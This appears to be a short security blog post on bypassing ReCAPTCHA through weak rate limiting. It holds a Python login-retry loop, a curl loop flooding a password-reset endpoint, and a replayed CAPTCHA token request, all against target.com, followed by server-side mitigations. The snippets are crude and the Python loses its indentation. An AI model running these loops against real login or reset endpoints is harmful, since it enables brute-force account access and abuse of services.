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ReCAPTCHA is a widely used security measure to prevent automated attacks, but it can be bypassed if not properly implemented. In this article, we explore how attackers exploit rate-limiting flaws to bypass ReCAPTCHA and gain unauthorized access.
How ReCAPTCHA Bypass Works
Attackers manipulate the rate-limiting mechanism by sending repeated requests until the system stops enforcing CAPTCHA verification. This often occurs when:
– The application fails to track CAPTCHA attempts per session.
– Rate limits are improperly configured, allowing excessive retries.
– The CAPTCHA validation is client-side only.
You Should Know: Practical Exploitation & Prevention
1. Testing for ReCAPTCHA Bypass
Use Burp Suite or Python scripts to automate requests:
import requests
url = "https://target.com/login"
for i in range(100):
response = requests.post(url, data={"user":"test", "pass":"test"})
if "CAPTCHA" not in response.text:
print(f"Bypassed at attempt {i}")
break
2. Bypassing via HTTP Flood
If the system resets CAPTCHA after a certain number of failed attempts, flood it with fake requests:
for i in {1..50}; do curl -X POST "https://target.com/reset" -d "[email protected]"; done
3. Exploiting Session Weaknesses
If sessions aren’t properly tracked, reuse an old CAPTCHA token:
POST /submit-form HTTP/1.1 Host: target.com Cookie: captcha_token=OLD_COMPROMISED_TOKEN
4. Mitigation Techniques
- Server-side rate limiting (e.g., using Fail2Ban or Nginx limits):
limit_req_zone $binary_remote_addr zone=captcha:10m rate=5r/s;
- Strict CAPTCHA enforcement (always verify server-side).
- IP-based throttling (block excessive requests).
What Undercode Say
ReCAPTCHA bypass is a critical flaw when rate limits are misconfigured. Always:
– Test CAPTCHA robustness with automated tools.
– Implement server-side validation.
– Monitor for unusual traffic patterns (WAF rules).
– Use multi-factor authentication (MFA) as an additional layer.
Expected Output:
A secure system that enforces CAPTCHA consistently, logs brute-force attempts, and blocks automated abuse.
Relevant URLs:
References:
Reported By: Muhammad Saad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
